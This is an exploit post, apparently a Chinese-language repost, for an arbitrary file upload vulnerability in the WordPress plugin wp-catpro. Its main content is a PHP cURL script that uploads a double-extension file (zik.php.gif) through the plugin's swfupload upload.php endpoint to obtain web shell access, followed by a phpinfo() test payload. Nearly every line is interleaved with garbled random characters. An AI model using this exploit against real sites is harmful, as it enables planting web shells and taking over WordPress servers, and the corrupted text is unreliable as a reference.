Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
- O/ c8 K7 K0 R) m7 f- E0 Y/ R) D#-----------------------------------------------------------------------
* F9 b8 k3 {% @" v* {8 T" Q) Z
4 K+ O! E0 L( m' _% |6 J作者 => Zikou-16
/ f# E/ V3 U; N4 ^/ _( \* w邮箱 => zikou16x@gmail.com8 O ]% M' X8 s5 k! r% ~7 w4 I
测试系统 : Windows 7 , Backtrack 5r3& w* @8 v. D( C; W! }5 \, x
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip# t- I9 N/ u" n- l7 Z, \
####4 m; i/ F- d1 Y- {# }# N0 T
; q3 P! q8 P; Z/ P2 I#=> Exploit 信息:
2 E6 W/ _5 e. {7 f5 ^( M1 ?------------------& [4 g( F' k0 V4 R9 {
# 攻击者可以上传 file/shell.php.gif
. m) l2 a8 B2 ^+ K# ("jpg", "gif", "png") // Allowed file extensions
# X9 s9 [2 u0 ]- V# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
6 A X! T2 f( L% }# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)+ S a# E: N9 b, x D+ e% j
------------------
t% L+ I# Q% o
5 h* N' S& O- O4 u# Y#=> Exploit" M( \0 ~( ?8 C
-----------9 h' r% S q) a+ J
<?php1 R& F' d3 r; u$ } B: f
, V) @+ r8 r2 [# d0 D3 K- q
$uploadfile="zik.php.gif";
V# X# i& @# H o! T7 O* S$ j$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
0 b% ?' y2 w, x8 s7 @8 U% Y+ w$ bcurl_setopt($ch, CURLOPT_POST, true);6 r+ w2 j0 A# t
curl_setopt($ch, CURLOPT_POSTFIELDS,
/ |2 u% F) M4 H* \7 Q4 }array('Filedata'=>"@$uploadfile",
( M3 H* N0 E u+ ?) a+ E, W'folder'=>'/wp-content/uploads/catpro/'));- N+ p, V, r F* }& z
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);5 w" _. x; R* N- N. I
$postResult = curl_exec($ch);
. A4 E+ j8 V! k2 u) ]( b6 q( o Tcurl_close($ch);
# H& ]. `7 t& x$ k' p4 |
~# G; `& b' A! F0 r5 n2 iprint "$postResult";
+ N: K7 ]8 A5 ~! U ) z5 Y0 R$ c" s& n! v% b' e/ [# L
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif0 c9 S) M# j& a3 M5 n; B, w3 f' b
?>$ b a$ f5 J6 G( @9 O# p
<?php
% S/ N# N7 d# e6 z" d4 J9 fphpinfo();+ z3 X% S' h" ~5 H$ t* P, t
?> |